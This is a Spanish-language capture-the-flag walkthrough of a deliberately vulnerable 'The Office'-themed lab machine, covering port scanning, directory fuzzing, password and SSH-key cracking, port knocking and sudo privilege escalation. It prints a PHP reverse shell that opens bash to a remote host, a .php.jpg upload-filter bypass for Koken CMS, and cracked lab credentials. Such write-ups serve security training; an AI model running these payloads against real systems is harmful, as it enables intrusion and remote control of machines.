Máquina temática de The Office con múltiples flags repartidas por todo el recorrido. Comenzamos con un escaneo general y luego uno específico:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oN 01-allPorts 192.168.1.43
❯ sudo nmap -sC -sV -p21,22,80,18888,65533 -oN 02-targeted 192.168.1.43
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-29 01:11 -03
Nmap scan report for 192.168.1.43
Host is up (0.00028s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/nothingtoseehere
18888/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Dunder Mifflin
|_http-generator: Koken 0.22.24
65533/tcp open http Apache httpd 2.4.29
|_http-title: 403 Forbidden
Service Info: Host: 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernelHay 3 servicios HTTP, FTP y SSH. El FTP no permite conexión anónima.
En el puerto 80 encontramos un mensaje en base64 que, al decodificarlo, contiene un mensaje en morse que nos entrega la primera flag.
Accedemos al puerto 18888 (fotos + un usuario/correo) y enumeramos con ffuf:
❯ ffuf -c -w directory-list-2.3-medium.txt -u "http://192.168.1.43:18888/FUZZ" -of html -fs 0
admin [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 12ms]
storage [Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 11ms]
app [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 14ms]El CMS Koken 0.22.24 es vulnerable a subida de archivos autenticada:
❯ searchsploit koken
Koken CMS 0.22.24 - Arbitrary File Upload (Authenticated) | php/webapps/48706.txtEl puerto 65533 no es accesible directamente, pero enumerando encontramos un subdirectorio con la segunda flag. Fuzzeamos también el puerto 80:
❯ gobuster dir -u http://192.168.1.43/ -w directory-list-2.3-big.txt -x php,html,txt
/index.html (Status: 200) [Size: 2819]
/robots.txt (Status: 200) [Size: 42]
/nick (Status: 301) [Size: 311] [--> http://192.168.1.43/nick/]
/staffblog (Status: 301) [Size: 316] [--> http://192.168.1.43/staffblog/]En /nick (el "IT guy") hay una nota y un pcap; con Wireshark extraemos un usuario y contraseña. En /staffblog (blog de Creed) hay una pista sobre la contraseña en el pcap y la tercera flag.
Creamos un diccionario creedNNN con un script en Python:
with open("creed_passwd.txt", "w") as archivo:
for i in range(0,1000):
n_zeros = str(i).zfill(3)
word = "creed" + n_zeros + "\n"
archivo.write(word)Con hydra obtenemos la contraseña FTP de creed → cuarta flag y un ZIP cifrado, que crackeamos con john (wordlist Kaonashi):
❯ zip2john archive.zip > hash.txt
❯ john --wordlist=~/Documentos/Kaonashi/kaonashi14M.txt hash.txt
Loaded 1 password hash (PKZIP [32/64])
bigboobz (archive.zip)
1g 0:00:00:00 DONE (2023-10-29 05:10) ...Dentro hay una clave RSA y una pista para el admin de Koken. SSH no permite contraseña directa, así que crackeamos la passphrase de la clave de michael:
❯ ssh2john michael > michael_hash
❯ john --wordlist=~/Documentos/Kaonashi/kaonashi14M.txt michael_hash
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
mypassword1234 (michael)
1g 0:00:00:07 DONE (2023-10-29 05:17) ...❯ ssh michael@192.168.1.43 -i michael
Enter passphrase for key 'michael':
michael@doomsday:~$La pista para el admin de Koken es un gato de Angela (referencia de The Office), así que con Burp Intruder hacemos fuerza bruta con los nombres de los gatos y obtenemos Crinklepuss. Como el CMS es vulnerable a subida de archivos, preparamos una reverse shell PHP:
<?php
shell_exec("bash -c 'bash -i >& /dev/tcp/192.168.1.10/1234 0>&1'");
?>El portal bloquea .php, pero lo sorteamos añadiendo .jpg al final (script.php.jpg) y, siguiendo el exploit 48706, obtenemos la reverse shell.
Descubrimos otro subdirectorio en el puerto 80, _hint_ (solo presente en 2 de los diccionarios Kaonashi). Contiene 3 imágenes y nos piden encontrar la diferencia; una tiene un tamaño distinto, así que revisamos sus metadatos con ImageMagick:
❯ identify -verbose knockknock2.jpg
...
Properties:
comment: Open sesame: 5000, 7000, 9000
...
#FLAG6: c9db6b7cad326cab2bcf0d2a26f7832d
...Esa es la sexta flag y una secuencia de port knocking:
❯ knock -v 192.168.1.43 5000 7000 9000El puerto SSH pasa de filtered a open. Volviendo a la sesión de michael, en su home hay un archivo oculto con la séptima flag. Además, en el directorio de Koken hay credenciales MySQL:
'database' => 'kokendb',
'username' => 'kokenuser',
'password' => 'Toby!Flenderson444',Accedemos a MySQL y, con show tables, existe una tabla flag (la quinta flag).
Para escalar privilegios, revisamos sudo -l:
michael@doomsday:~$ sudo -l
Matching Defaults entries for michael on doomsday:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User michael may run the following commands on doomsday:
(ALL) NOPASSWD: /home/creed/defuse*Para colocar el script que ejecutaremos como root, usamos el FTP para subir un archivo, pero no tenemos permiso de chmod. Revisando el /etc/vsftpd.conf vemos que es escribible:
michael@doomsday:~$ ls -l vsftpd.conf
-rwxrwxrwx 1 root root 5924 Dec 3 2020 vsftpd.confHabilitamos chmod_enable en la config (requiere reiniciar la máquina y volver a hacer el knock para abrir SSH), subimos nuestro defuse y le damos permisos de ejecución:
#!/bin/bash
bash -iLo ejecutamos con sudo y obtenemos root y la última flag.
Fin.